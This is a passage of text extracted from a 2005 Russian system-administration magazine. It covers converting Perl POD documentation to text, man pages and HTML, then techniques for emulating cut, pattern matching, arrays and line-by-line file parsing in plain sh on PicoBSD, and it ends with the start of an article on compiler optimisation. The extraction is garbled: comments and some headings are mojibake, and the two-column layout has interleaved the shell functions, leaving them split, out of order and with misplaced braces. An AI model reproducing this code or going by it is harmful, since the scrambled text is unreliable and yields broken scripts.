даст как раз требуемый результат. Честно говоря, я не сталкивался с ситуациями, когда использование последовательности Z<> было бы действительно оправданно (мой пример – не исключение), но, возможно, вы встретитесь с такими ситуациями, и вам она сослужит хорошую службу. Такая же разметка допустима и в управляющих параграфах, например, в тексте заголовков, но там её использование не вполне оправданно. Текст управляющих параграфов и так форматируется соответствующим образом; причём в разных форматах по-разному. Имеет ли смысл выделять жирным шрифтом слово в заголовке, которое и без того будет отформатирован жирным? Кроме того, могут возникнуть недоразумения: в заголовке форматирования не видно, а в оглавлении – видно.

Специальные символы (escape-последовательности) Набор символов, доступных в форматированных абзацах, гораздо шире стандартного ASCII-набора. Символы можно задавать с помощью последовательности E<...>. Её «аргументом» может быть имя символа или код. Имена символов совпадают с именами, используемыми в HTML, коды могут быть и ASCII, и Unicode-кодами символов (никогда не пробовал использовать Unicode, но согласно документации – должно работать). Согласно документации, если код предварён конструкцией «0x», он интерпретируется как шестнадцатеричный, если начинается с нуля – как восьмеричный. Например, E<gt> обозначает знак «больше». Этот же символ можно получить, задав его код в любой системе счисления: E<62> или E<0x3e>, или E<076>. Однако мой опыт показывает, что надёжнее использовать десятеричные коды. От использования Unicode я бы советовал воздержать-

78

ся. POD-процессоры, преобразующие документы в текстовые форматы, «не любят» Unicode. А в HTML-документах Unicode-символы (&#NNNN;) могут вызвать неожиданные смены семейств шрифтов и прочие недоразумения, причины которых бывает трудно установить. Используя как раз такую запись, можно обойти проблемы, описанные выше: B<IE<gt>10A>

Как видите, способ не самый удачный, но зато он работает и в старых версиях POD. Здесь же уместно привести ещё один пример использования Z<>. Если вам потребуется получить последовательность символов «E<60>» в форматированном параграфе, то в POD-файле её можно записать так: EZ<><60>

Тогда она не будет обработана как escape-последовательность.

Конвертирование в «цветной» текст и man Теперь мы знаем о POD почти всё и можем посмотреть, как с этим работать. Для начала рассмотрим текстовые форматы. Не секрет, что в текстовом формате доступен весьма скромный набор символов (максимум 256), а шрифт варьировать нельзя. Поэтому ни pod2text, ни pod2man не обрабатывают «сложные» escape-последовательности. То есть последовательность E<mdash> так и попадёт в текст документа необработанной потому, что символ «длинное тире» недопустим в текстовом документе. Вы получите предупреждающее сообщение «Unknown escape». Корректно обрабатываются только «простые» символы. Например, последовательность E<gt> (или E<62>) будет, как и положено, преобразована в знак «больше». В разделе «Списки» вы уже видели, как получить длинное тире с помощью последовательности E<mdash>. В моём примере встречается ещё один «неординарный» символ – градус. По аналогии с HTML он именуется deg. После конвертирования в такие форматы, как HTML эти символы выглядят абсолютно корректно и только украшают текст, но текстовые конвертеры не в состоянии их обработать: Эта проблема немного надуманная. Вряд ли вам понадобится и изящно оформленный HTML- или PostScript-документ, и примитивный текстовый вариант документации. Честно говоря, я впервые заметил эту проблему только когда готовил материал настоящей статьи и мне для иллюстраций понадобились все форматы. Но если вы с ней всётаки столкнётесь, то можете применить несложный скрипт, который будет корректно «вычищать» escape-последовательности из документа перед его преобразованием в текстовый формат. Я использовал вот такой скрипт: #!/usr/bin/sed -f s/E<mdash>/--/g s/E<deg>/ ãðàäóñîâ/g


программирование Как видите, это sed-фильтр, который заменяет «E<mdash>» на «—», «E<deg>» на слово «градусов». Все текстовые документы я получал, предварительно пропустив исходный документ через этот фильтр: ./antiescape file.pod | pod2text >file.text

Это, пожалуй, единственная неприятная особенность конвертеров в текстовые форматы. Теперь о приятном: об их возможностях, пусть скромных, но всё-таки заслуживающих пары слов. Начнём с самого простого pod2text. Опция -c позволяет ему разметить текст цветом при помощи ANSI escape-последовательностей. Вот как будет выглядеть на экране терминала фрагмент документа, полученного с помощью pod2text -c (мы, конечно, предварительно обработали POD-файл фильтром antiescape):

Здесь я применил pod2text без каких-либо параметров. Обратите внимание, что название подпрограммы взято в кавычки, которых в POD-документе мы не писали. Это произошло потому, что мы указали, что «next_step» – код программы – C<...>. По умолчанию конвертер pod2text заключает фрагменты кода в кавычки. Это поведение можно скорректировать. Опция -q none подавляет кавычки, опция -q с иным аргументом задаёт альтернативные символы кавычек. За подробностями обращайтесь к man-странице pod2text или pod2man или perldoc-страницам, посвящённым этим командам.

Конвертирование в HTML В полную силу возможности форматирования начинают работать при конвертировании в более «серьёзные форматы», например, в HTML. Преобразование осуществляет программа pod2html. Уже знакомый нам фрагмент в формате HTML будет выглядеть так:

Вы видите, что заголовки отформатированы жирным шрифтом, а курсив – синим. Конкретные цвета зависят от настроек терминала. Рассмотренное форматирование примерно в той же мере сохраняется и на man-страницах, полученных из PODисточников. Вот тот же фрагмент документа, после конвертирования его утилитой pod2man (в просмотрщике от mc):

Конвертер pod2man ещё более гибок, чем pod2text. Приводить здесь все его опции я не буду, они во многом сходны с опциями pod2text и прекрасно описаны в perldoc pod2man. Остановлюсь лишь на специфических, именно для формата man. Man-страница, как вы знаете, имеет колонтитулы. В верхнем колонтитуле, справа и слева, традиционно, указывается имя команды. Оно задаётся ключом -n. В центре верхнего колонтитула обычно указывается что-то вроде «FreeBSD General Commands Manual». Эту строку вы можете задать, используя ключ -c. В нижнем колонтитуле, справа и слева, обычно указывается версия ОС. Эта информация может быть задана ключом -r. В центре нижнего колонтитула по традиции указывается дата создания документа. Её можно изменить с помощью ключа -d. Оба конвертера pod2man и pod2text поддерживают опцию -q, не сказать о которой нельзя. Вот как будет выглядеть результат обработки POD-фрагмента, который я приводил в качестве примера в разделе «списки»:

№3, март 2005

Как видите, всё форматирование отражено в полной мере, но один неприятный сюрприз нам всё-таки уготован. Утилита pod2html создаёт оглавление в начале документа. Это очень удобно (а если не удобно, то можно отменить ключом --noindex), но оно создаётся явно без учёта русской специфики. В качестве якорей и ссылок используется непосредственно текст соответствующих заголовков. То есть в нашем случае якоря и ссылки будут содержать русские буквы. Не все браузеры лояльны к таким вольностям. Чтобы обойти эту неприятность, я использую следующий несложный скрипт на Perl: #!/usr/bin/perl undef $/; $_=<>; %h=(); $c=0; s/href="#(.+?)"/$c++; $h{$1}=$c; qq|href="#$c"|/ge; s/name="(.+?)"/"name=\"".($h{$1}?$h{$1}:$1)."\""/ge; print;

Как видите, это фильтр. Он считывает стандартный ввод, создаёт хэш якорей и производит надлежащие замены. Затем результат отправляется на стандартный вывод. Я назвал этот скрипт antirus.pl (он входит в архив к этой статье). Команда: pod2html file.pod | antirus.pl > file.html

создаст «безопасный» HTML-файл.

79


программирование Гиперссылки Гиперссылки формируются только при конвертировании в HTML-формат. Во всех остальных форматах конструкции, описывающие ссылку, обрабатываются корректно: текст ссылки попадает в документ, но ссылкой он, конечно, не становится. Тем не менее гиперссылки заслуживают краткого описания. В наиболее общем случае ссылка создаётся последовательностью L<текст|документ/раздел>. «Текст» будет виден читателю документа и будет являться ссылкой. «Документ» – имя документа. «Раздел» – раздел в документе. При необходимости любое из полей можно взять в кавычки. Раздел можно не указывать. Если не указан документ, то предполагается, что это ссылка на один из разделов текущего документа. Ссылки используются довольно редко и имеют много ограничений. Как вы уже поняли, ни одно из полей не может содержать символы «|» и «/». Это ограничение можно обойти, используя escape-последовательности. Наличие документа, указанного между «|» и «/», проверяется. Если он не найден, то ссылка не создаётся. По умолчанию поиск ведётся среди модулей Perl, но пути можно задать и свои. В поле «раздел» следует указывать полное название раздела. Это не только громоздко, но и приводит к созданию «русских» якорей и ссылок в русскоязычных документах, что весьма нежелательно. Ограничусь одним примером: =pod =head1 Ãëàâà I L<ýòî ññûëêà íà Ãëàâó I|/"Ãëàâà I">

Если вам понадобится более подробная информация о ссылках, обращайтесь к документации на POD, но я бы не назвал возможность создания ссылок доведённой до совершенства. А в русскоязычных документах работа со ссылками ещё более затруднена, чем в англоязычных. Предложенная мною программа, корректирующая ссылки, должна быть значительно доработана, прежде чем она сможет работать с группами файлов и обрабатывать ссылки не только внутри документа, но и между документами. Я полагаю, что если вам действительно понадобится система взаимосвязанных HTML-документов, то POD – не лучшее средство разработки. Поэтому я не предлагаю никаких средств корректировки гиперссылок.

Вставки, специфичные для разных форматов Мы не рассмотрели ещё три команды. Начав параграф с команды =for, вы сообщаете обработчику POD-документа, что этот параграф предназначен для определённого формата. Например: =for html <hr>

Этот параграф предназначен только для формата HTML. Он будет исключён из документа всеми обработчиками, кроме pod2html. А этот единственный включит содержимое параграфа в HTML-документ без изменений, и в HTML-документе появится горизонтальная черта.

80

Если вам необходимо вставить большой формат-ориентированный фрагмент документа, то можно использовать пару команд =begin/=end. Наш пример можно переписать так: =begin html <hr> =end html

Обратите внимание, что, как и любые другие команды, =begin и =end должны находиться в отдельных абзацах. Таким образом, вы можете писать документ в формате POD, но использовать и средства разметки других форматов, когда это необходимо. Чаще всего эти возможности используются для вставки графики. К сожалению, нельзя вставлять специфичные для формата фрагменты внутри абзаца (in-line). То есть вам вряд ли удастся успешно использовать теги <font>, <small>, <sup> и подобные.

Вставка рисунков в HTML Теперь становится ясно, как включить изображение в HTMLдокумент. Для этого в POD-исходнике можно написать чтото подобное: =for html <center><img src="examp.png" hspace="3"></center>

В результате в HTML-код будет помещена указанная строка, а значит, и картинка со всеми HTML-специфичными атрибутами.

«Причёсываем» HTML Теперь, когда мы знаем большинство тонкостей конвертирования в HTML-формат, уместно будет сказать о возможных «косметических» улучшениях. Как мы видели раньше, документ получается максимально простой: шрифт – по умолчанию, цвета – белый и чёрный. Такая строгость не всегда уместна. Ситуацию можно исправить практически одним движением, включив в состав HTML-документа CSS-таблицу (или ссылку на отдельный файл, содержащий CSS-таблицу). Для этого можно использовать несколько путей. Можно вставить CSS-таблицу непосредственно в PODдокумент. =begin html <style type="text/css"><!-òåëî òàáëèöû // --></style> =end html

Такой подход не очень хорош по двум причинам. Во-первых, он не удобен, если вы создаёте несколько документов (или часто готовите инструкции и руководства), потому что вам придётся вставлять эту громоздкую конструкцию в каждый POD-файл. Во-вторых, CSS-таблица окажется не в заголовке документа (между тегами <head> и </head>), как это принято. Тем же методом можно вставить и HTML-элемент link,


программирование обеспечивающий связь с CSS-таблицей, находящейся во внешнем файле. =for html <link rel="stylesheet" href="file.css" type="text/css">

В этом случае указанный HTML-тег тоже окажется в теле документа (между <body> и </body>), что не очень желательно. Чтобы включить тег link в заголовок документа (где ему и положено быть), можно использовать ключ --css: pod2html --css file.css file.pod >file.html

Но мне представляется более уместным включать в HTML-документы не элемент link, а полную CSS-таблицу. Это не намного «утяжелит» результат (что вообще не критично для off-line-ориентированных документов), но сделает его более «монолитным». Зачастую документация адресуется не очень квалифицированному пользователю, который может достаточно своевольно с ней обращаться (например пересылать отдельные файлы по e-mail коллегам в другой офис). Мой опыт подсказывает, что лучше создавать максимально самодостаточные файлы. Чтобы автоматизировать процесс вставки полноценной CSS-таблицы в HTML-код, могу предложить элементарный скрипт: #!/usr/bin/perl undef $/; $_=<>; s|</head>|<style type="text/css"><!-a { font-family: sans-serif; weight: bold; text-decoration: none; color: #090; } h1 a, h2 a{ color: #C00; font-family: sans-serif; } dt strong a{ color: #900; } code { background: #ccc; font-weight: bold; } p { text-align: justify; } pre { background: #ffe; border-width: 3px; border-style: solid; border-color: #ddc #443 #443 #ddc; } // --></style> </head>|; print;

Как видите, вся его работа заключается в том, что он вставляет CSS-таблицу перед тегом </head>. Практически всё его тело тоже составляет CSS-таблица. Кстати, использование такого скрипта полностью освобождает вас от необходимости указывать в POD-файле какие-либо дополнительные конструкции (типа =for html). После пропускания HTML-документа через этот фильтр, вид его кардинально изменится. Вот фрагмент:

№3, март 2005

Предполагая, что читатель знаком с CSS, остановлюсь только на особенностях моей CSS-таблицы. Первый элемент просто оговаривает вид ссылок. На рисунке их нет, но поверьте, они становятся зелёными. Второй элемент таблицы определяет вид заголовков. Обратите внимание, что мы задаём не просто стиль заголовков, а заголовков-ссылок. Это делается не случайно. При формировании HTML-документа система POD делает многие части документа (в том числе и заголовки) якорями гиперссылок на случай, если на них потребуется сослаться из другого документа. Поэтому в формате HTML заголовки оформляются следующим образом: <h1><a name="ÿêîðü">òåêñò çàãîëîâêà</a></h1>

Теперь становится ясно, что если мы опишем только действие тега h1, то заголовок будет оформлен всё равно по правилам оформления ссылок (тег a). То есть в нашем случае заголовок унаследовал бы от ссылок зелёный цвет. Чтобы добиться желаемого результата – задать форматирование заголовков – нам следует описать действие пары тегов h1 и a, что мы и делаем. По той же причине мы описываем не тег dt, а всю связку dt-strong-a. Это стиль для маркеров списков. Тегом code снабжаются фрагменты кода (C<...>). Я задал для этих элементов сероватый фон. Для абзацев оговорено выравнивание по обоим сторонам колонки. Тегом pre оформляются неформатированные абзацы. Я, как можно видеть из картинки и как описано в CSS-таблице, задал для этих частей документа рамку и жёлтый фон. Конечно, вы можете задать любые стили, шрифты, выравнивания, отступы, цвета; главное при этом учитывать структуру документа, формируемого pod2html, чтобы стиль ссылок не конфликтовал с другими стилями.

Продолжение следует В следующем номере я опишу процедуру конвертирования POD-документов в форматы PostScript и PDF. Коснусь конвертирования в такие форматы, как Microsoft Word Document и RTF. Расскажу о средствах автоматической проверки правильности POD-синтаксиса. И поделюсь своими мыслями о перспективах развития POD и о том, каких усовершенствований можно ждать от будущих версий.

81


программирование

ПРОГРАММИРОВАНИЕ НА SHELL В ЭКСТРЕМАЛЬНЫХ УСЛОВИЯХ

ГАСПАР ЧИЛИНГАРОВ Эта статья описывает нетривиальные способы использования программной оболочки sh для создания скриптов. Например, реализацию на sh простого аналога grep. Зачем это нужно? В случае, если вы крайне ограничены в дисковом пространстве или объеме памяти, которые вы можете использовать для прикладных программ. В моей ситуации при создании системы на базе PicoBSD свободного места на дискете было крайне мало, чтобы записать туда стандартные утилиты. Все скрипты рассчитаны и писались для использования в PicoBSD/FreeBSD и используют возможности стандартного интепретатора /bin/sh.

Реализация шаблонов (regular expression) в sh Иногда бывает необходимо сравнить текстовые данные с шаблоном или выделить оттуда какую-то часть. Для этого обыкновенно используются sed, awk или perl – в зависимости от пристрастий программиста и сложности задачи. Однако когда вы ограничены объемом памяти, для простых задач крайне нецелесообразно использовать отдельные утилиты. Перед дальнейшим чтением обязательно ознакомьтесь с разделом Parameter Expansion в руководстве по sh(1). Ниже приведены примеры, как эмулировать утилиту cut при помощи скриптов и функций sh. Все описанные функции возвращают результат в глобальной переменной result. В случае удачного завершения код выхода у функций равен 0, и имеет ненулевое значение, если произошла ошибка. Если результат функции не определен или функция ничего не возвращает, то она присваивает переменной result пустую строку.

cut_atomic Функция cut_atomic сканирует строку слева и удаляет все символы от первого вхождения разделителя до конца строки. Первый аргумент функции – собственно сам разделитель. Это может быть один символ, класс символов (character

82

class, задается при помощи квадратных скобок [ ]) или строка. Все последующие аргументы воспринимаются как строка, которая должна быть обработана. Если передавать строку без использования одинарных('') или двойных кавычек(«»), то sh сам разобъет ее на подстроки, используя свой разделитель входных полей (задается в переменной IFS), что не всегда желательно. Шаблоны в sh всегда «жадные», т.е. пытаются соответствовать максимальному количеству символов, поэтому если вы передаете как разделитель символ *, результаты могут быть непредсказуемые. Знак «?» можно использовать в разделителе для обозначения любого символа. cut_atomic () { local DELIM STRING # ðàçäåëèòåëü ìîæåò áûòü ëþáîé ñòðîêîé, íå òîëüêî îäèí ñèìâîë DELIM="$1" shift # îñòàâøèåñÿ àðãóìåíòû STRING=$*

}

result=${STRING%%${DELIM}*} return 0

В данном случае запись ${переменная%%шаблон} удаляет наибольший возможный суффикс из строки – то есть остаются только символы с начала строки до первого вхождения разделителя.

Аналог cut(1) Функция cut работает аналогично вызову утилиты: cut -d${ðàçäåëèòåëü} -f${íà÷àëüíîå_ïîëå} -${êîíå÷íîå_ïîëå}

Входная строка разбивается на подстроки с использованием $разделитель, после чего возвращаются поля с номерами от ${начальное_поле} до ${конечное_поле}. Первый аргумент функции – разделитель полей, второй и третий параметры – номер начального и конечного поля. Все ос-


программирование тавшиеся аргументы – обрабатываемая строка. Функция чуть удобнее в использовании, чем утилита cut, так как в качестве разделителя может использоваться не только один символ, но и строка или шаблон. Если вам нужно получить только одно поле, следует задать одинаковый начальный и конечный индекс. cut () { local DELIM POS1 POS2 STRING STR1 POSTFIX DELIM="$1" POS1=$2 POS2=$3 shift 3 STRING=$*

# ðàçäåëèòåëü # íà÷àëüíûé èíäåêñ # êîíå÷íûé èíäåêñ # îñòàâøèåñÿ ïàðàìåòðû ôóíêöèè

# åñëè êîíå÷íûé èíäåêñ ìåíüøå íà÷àëüíîãî, # âîçâðàùàåì îøèáêó if [ $POS2 -lt $POS1 ]; then result="" return 1 # êîä âûõîäà > 0 fi # óäàëÿåì ïåðâûå ${POS1}-1 ýëåìåíòîâ èç ñòðîêè I=1 while [ $I -lt $POS1 ]; do STRING=${STRING#*${DELIM}} I=$(($I+1)) done STR1="$STRING"

# çàïîìèíàåì ðåçóëüòàò

# óäàëÿåì âñå ýëåìåíòû âïëîòü äî ïîñëåäíåãî ýëåìåíòà, # êîòîðûé íàì íóæåí, îò ñòðîêè îñòàâëÿåì ñóôôèêñ, # ñîñòîÿùèé èç íåíóæíûõ ýëåìåíòîâ while [ $I -le $POS2 ]; do STRING=${STRING#*${DELIM}} I=$(($I+1)) done

extract_manufacturer "$S" echo "manufacturer code: $result"

Проверка на соответствие шаблону Иногда необходимо проверить соответствие строки некоторому шаблону. Одно из основных применений – проверка входных данных. Единственный способ в shell, который позволяет проверить, соответствует данная строка шаблону или нет, – это использование оператора case. Для удобства можно создать вокруг него обертку – «wrapper». Первый аргумент для функции match_pattern – это шаблон, которому должна соответствовать строка, а все оставшиеся аргументы – это обрабатываемая строка. Функция match_pattern_strict требует, чтобы вся строка соответствовала заданному шаблону, а match_pattern мягче – она требует совпадения с шаблоном лишь части строки. Будьте внимательны – чаще всего вам придется заключать шаблон в одинарные или двойные кавычки, чтобы sh не раскрывал символы подстановки «*» и «?» в шаблоне перед тем, как передать его функции. match_pattern_strict () { local PATTERN STRING # äâîéíûå êàâû÷êè îáÿçàòåëüíû, ÷òîáû íå ïðîèñõîäèëî # ðàñêðûòèå ñèìâîëîâ ïîäñòàíîâêè PATTERN="$1" shift STRING=$* result="" case "$STRING" in $PATTERN) return 0 esac

# ó íàñ óæå åñòü íåíóæíûé ñóôôèêñ ñ ïåðåìåííîé # STRING, óäàëÿåì åãî èç çàïîìíåííîãî ðåçóëüòàòà

}

result=${STR1%${DELIM}${STRING}} return 0

}

extract_manufacturer () { # îïðåäåëÿåì IFS êàê ëîêàëüíóþ ïåðåìåííóþ, ÷òîáû # åå èçìåíåíèå íå âëèÿëî íà äðóãèå ôóíêöèè local STR IFS # çàïîìèíàåì âñå àðãóìåíòû ôóíêöèè â STR STR=$* # óñòàíàâëèâàåì â êà÷åñòâå ðàçäåëèòåëÿ ñèìâîë ':' IFS=':' # ïðèñâàèâàåì ïîçèöèîííûì ïàðàìåòðàì ñîäåðæèìîå STR set -- $STR result="$1:$2:$3" return 0 } # ïðèìåð èñïîëüçîâàíèÿ ôóíêöèè S=`ifconfig fxp0` # ïîëó÷èòü ðåçóëüòàò ðàáîòû êîìàíäû ifconfig S=${S##*ether} # ñòåðåòü âïëîòü äî êëþ÷åâîãî ñëîâà ether

№3, март 2005

return 1

match_pattern() { local PATTERN STRING PATTERN="$1" shift STRING=$*

Выделение позиционных параметров Можно использовать функцию set для того, чтобы заменить список аргументов для данного блока команд и получить доступ к позиционным параметрам $1, $2 и так далее. Единственный недостаток такого способа – это невозможность избежать раскрытия символов подстановки (wildcards). Небольшой пример, как можно использовать этот прием для того, чтобы получить первые 3 байта из MAC-адреса (код производителя). Переменная IFS (input field separator) определяет символ или подстроку, которые будут использоваться для разбиения строки на поля.

# ïîëíîå ñîîòâåòñòâèå øàáëîíó

result="" case "$STRING" in *${PATTERN}*) return 0 esac }

# ïðîâåðÿåòñÿ ñîîòâåòñòâèå øàáëîíó # ÷àñòè ñòðîêè

return 1

Например, для частичной проверки правильности ввода IPv4-адреса можно использовать следующий шаблон: match_pattern_strict '[0-9]*.[0-9]*.[0-9]*.*[0-9]' 192.168.0.1

Правда, этот шаблон ошибочно сочтет строку «127.0.0. 0.0.1» правильной, поскольку лишние байты в таком адресе будут соответствовать любому из символов «*» в шаблоне. Для точной проверки следует использовать прием с командой set и проверять каждый байт по отдельности.

Организация массивов в sh Один из существенных недостатков sh, который делает его неудобным для программирования, это отсутствие масси-

83


программирование вов – ассоциативных или индексированных. Особенно остро ощущается отсутствие двумерных массивов. В загрузочных скриптах PicoBSD я подглядел интересный способ эмулировать массивы в sh. Ниже представлен несколько модифицированный вариант. Предположим, что мы хотим организовать двухмерный массив с именем foo. Первый индекс будет цифровой – 0,1,..,N, а второй индекс – любая строка без пробелов. То есть мы получим элементы массива foo[0][A],foo[0][bar], foo[0][extra],..., foo[10][A],foo[10][bar],foo[10][another] и так далее. Предположим также, что элементы с индексом «А» никогда не могут иметь нулевое значение (пустую строку) и выберем их в качестве ключа в ассоциативном массиве. Для хранения каждого элемента массива мы создадим соответственно переменные в sh – foo_0_A, foo_0_bar,foo_0_ extra, ..., foo_10_A, foo_10_bar,foo_10_another и т. д. В каждой строке массива должен быть элемент, играющий роль ключа, и любое количество элементов, в которых хранятся данные. Количество дополнительных элементов в каждой строке может быть произвольным. После этого можно создать несколько функций для удобной работы с таким представлением данных. Функция arr_count возвращает количество элементов в массиве. Первый аргумент функции – название массива (фактически префикс для именования переменных), второй аргумент – название ключа в массиве. # ïîñ÷èòàòü êîëè÷åñòâî ýëåìåíòîâ â ìàññèâå # arr_count ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À arr_count () { local ARRNAME KEYNAME VAL I ARRNAME=$1 # èìÿ ìàññèâà KEYNAME=$2 # èìÿ êëþ÷à â ìàññèâå I=0 result="" # îñíîâíàÿ ìàãèÿ ïðîèñõîäèò çäåñü – â êîìàíäå eval # ôîðìèðóåòñÿ ïðàâèëüíîå íàçâàíèå ïåðåìåííîé, # êîòîðàÿ ñîîòâåòñòâóåò ýëåìåíòó ìàññèâà eval VAL=\${${ARRNAME}_${I}_${KEYNAME}} if [ "x$VAL” = "x" ];then # åñëè ïåðâûé æå êëþ÷ ïóñòîé (ò.å. foo[0][A]) # ìû ïðåäïîëàãàåì, ÷òî òàêîé ìàññèâ íå ñóùåñòâóåò return 1 fi while [ "x$VAL" != "x" ] ; do I=$(($I+1)) eval VAL=\${${ARRNAME}_${I}_${KEYNAME}} done

}

result=$I return 0

Конструкция [ «x$VAL» = «x» ] обеспечивает корректное сравнение, если $VAL будет иметь пустое значение. Если написать [ $VAL = «» ], то при пустой переменной $VAR это будет раскрыто оболочкой в конструкцию [ = «» ], что приведет к ошибке. Надо либо писать [ «$VAL» = «» ], либо просто приучить себя к [ «x$VAL» = «x» ], что переносимо на большее количество платформ/версий sh. Для формирования имени переменной динамически приходится использовать команду оболочки eval. Сперва sh подставляет значение ARRNAME, I и KEYNAME и получает: eval VAL=\${foo_1_bar},

84

после чего интерпретирует получившуюся команду присвоения. Символ «\» обязательно должен присутствовать, иначе sh будет выдавать ошибки. Функция arr_lookup_by_key позволяет обратиться к элементу ассоциативного массива, зная значение ключа. Она получает 4 аргумента – имя массива, имя поля, в котором хранится ключ, имя поля, значение которого нужно получить и значение ключа. Код выхода не равен нулю, если не был найден ключ с таким значением. # array_name ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß # ÇÍÀ×ÅÍÈÅ_ÊËÞ×À arr_lookup_by_key () { local i array kfield vfield kvalue key value array=$1 kfield=$2 vfield=$3 kvalue=$4 i=0 result="" key="x"

# ïðèíóäèòåëüíî çàñòàâèì öèêë âûïîëíèòñÿ # õîòÿ áû 1 ðàç while [ "$key" != "" ]; do # êîíñòðóèðóåì èìÿ ïåðåìåííîé eval key=\${${array}_${i}_${kfield}} # åñëè çíà÷åíèå êëþ÷à ñîâïàëî, âîçâðàùàåì çíà÷åíèå if [ "$key" = "$kvalue" ]; then # êîíñòðóèðóåì èìÿ âîçâðàùàåìîãî ïîëÿ eval result=\${${array}_${i}_${vfield}} return 0 fi i=$(($i+1)) done

}

# öèêë çàêîí÷èëñÿ – ñëåäîâàòåëüíî òàêîãî çíà÷åíèÿ # êëþ÷à íåò return 1

Функция arr_lookup_by_index позволяет получить значение поля, зная численный индекс. На вход передается 4 элемента – имя массива, имя поля, в котором хранится ключ, имя поля, значение которого нужно получить, и индекс. Если элемента с таким индексом нет – т.е. поле ключа пустое, функция завершается с кодом выхода 1. В противном случае значение поля возвращается в переменной result. # arr_lookup_by_index ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß # ÈÍÄÅÊÑ arr_lookup_by_index () { local i array index vfield value kfield array=$1 kfield=$2 vfield=$3 kvalue=$4 eval key=\${${array}_${index}_${kfield}} if [ "$key" = "" ]; then # âîçâðàòèòü êîä îøèáêè, ò.ê. îáíàðóæåí ïóñòîé êëþ÷ return 1 fi

}

eval result=\${${array}_${index}_${vfield}} return 0

Функция arr_set_by_index используется для добавления данных в массив. При этом одновременно устанавливается и значение ключа, и значение поля, которое ему соответствует.


программирование # arr_set_by_index ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß # ÍÎÌÅÐ_ÈÍÄÅÊÑÀ ÇÍÀ×ÅÍÈÅ_ÊËÞ×À ÇÍÀ×ÅÍÈÅ_ÏÎËß arr_set_by_index() { local i array kfield vfield index kvalue value array=$1 kfield=$2 vfield=$3 index=$4 kvalue=$5 shift 5 vvalue=$* i=0 result=""

}

eval ${array}_${index}_${kfield}=${kvalue} eval ${array}_${index}_${vfield}=${vvalue} return 0

Функция arr_set_by_key используется для добавления или изменения данных в массиве по существующему ключу. # arr_set_by_key ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß # ÇÍÀ×ÅÍÈÅ_ÊËÞ×À ÇÍÀ×ÅÍÈÅ_ÏÎËß arr_set_by_key() { local i array kfield vfield kvalue vvalue array=$1 kfield=$2 vfield=$3 kvalue=$4 shift 4 vvalue=$* result="" i=0 eval key=\${${array}_${i}_${kfield}} while [ "x$key" != "x" ]; do eval key=\${${array}_${i}_${kfield}} if [ "x$key" = "x$kvalue" ]; then break fi i=$(($i+1)) done

}

arr_set_by_index $array $kfield $vfield $i $kvalue $vvalue return 0

Таким образом, для добавления нового элемента в массив нужно сперва вызвать аrr_count, получить количество существующих строк и потом добавить в конец массива новую строку. После этого можно установить уже все оставшиеся поля массива, обращаясь не по индексу, а по ключу.

Построчная обработка файлов Как правило, если нужно обработать файл построчно, разбивая каждую строку на поля, используется awk или perl. Но не всегда под руками есть эти программы, поэтому можно попытаться сэмулировать их, имея только sh. Воспользуемся способностью команды read разбивать входные данные по разделителю и приписывать значения подстрок переменным. В случае окончания потока read выдает ненулевой код выхода, поэтому ее можно использовать так же, как условие окончания цикла. Пример скрипта для построчного чтения файла /etc/ passwd. IFS=: i=0 while read name pass uid gid gcos homedir shell junk; do echo "$i|$name|$uid|$gid|$gcos|$homedir|$shell|$junk|" i=$(($i+1)) done < /etc/passwd echo "total lines: $i"

№3, март 2005

При перенаправлении надо проявить аккуратность. Если перенаправить поток на вход команды read, a не на вход блока while, скажем вот так: while read name pass uid gid gcos homedir shell junk ↵ < /etc/passwd; do ... done

то цикл будет выполняться бесконечное число раз, т.к. на каждой итерации команда read будет читать первую строчку файла. Другая задача, которая часто встречается, – обработка результатов выполнения другой команды. Если использовать конвейерную обработку(pipelines) в sh, то можно попытаться написать следующий кусок кода: cat /etc/passwd | while read name pass uid gid gcos ↵ homedir shell junk; do echo "$i|$name|$uid|$gid|$gcos|$homedir|$shell|$junk|" i=$(($i+1)) done echo "total lines: $i"

Мы будем получать правильно разбитые на поля записи, однако последняя команда выдаст количество строк равным 0. На первый взгляд это странно, но если вспомнить, что все команды внутри блока while; do ...; done выполняются в отдельном дочернем процессе sh, чтобы возможно было бы перенаправить туда результат выполнения конвеера, то тогда все становится на свои места. Передать переменные из дочернего процесса в основной процесс sh невозможно. Поэтому придется переписать этот код так, чтобы тело цикла while выполнялось в контексте основного процесса. Для этого можно использовать here-doc-текст и подставлять туда результат выполнения команды при помощи обратных кавычек (backtricks, ``). IFS=: i=0 while read name pass uid gid gcos homedir shell junk; do echo "$i|$name|$uid|$gid|$gcos|$homedir|$shell|$junk|" i=$(($i+1)) done <<EOF `cat /etc/passwd | head` EOF

Таким образом мы переместили выполнение предыдущих команд конвейера в отдельный(ые) процесс(ы), а их результат будет передаваться на стандартный ввод (stdin) блока while. После этого команда while правильно посчитает количество строк в файле. Также можно объединить в here-doc результат выполнения нескольких команд или даже поместить туда какие-то статические данные. Таким образом, используя приведеные выше приемы, можно заменить часто используемые утилиты на их аналоги, написанные на sh. Особенно актуально эта задача стоит при создании образа системы, загружаемой с дискеты, или с твердотельных носителей (например, Compact Flash). Описанные функции могут облегчить создание скриптов для конфигурации и интерактивной настройки таких систем. С другой стороны, используя встроенные возможности sh, можно ускорить выполнение скриптов, поскольку запуск внешних утилит может быть существенно медленее, чем вызов определенной пользователем функции sh.

85


программирование

ТЕХНИКА ОПТИМИЗАЦИИ ПОД LINUX ЧАСТЬ II – ВЕТВЛЕНИЯ Сегодня мы продолжим сравнение Linux-компиляторов, начатое в прошлом номере журнала, и рассмотрим оптимизацию условных переходов и операторов типа switch. Механизмы их трансформации достаточно многочисленны и разнообразны. За последнее время было предложено множество новых идей, воплощенных в компиляторах GCC 3.3.4 и Intel C++ 8.0 (сокращенно icl), однако древний Microsoft Visual C++ 6.0 (сокращенно msvc) не сдает своих позиций, так что не спешите списывать его в утиль и сдавать на свалку.

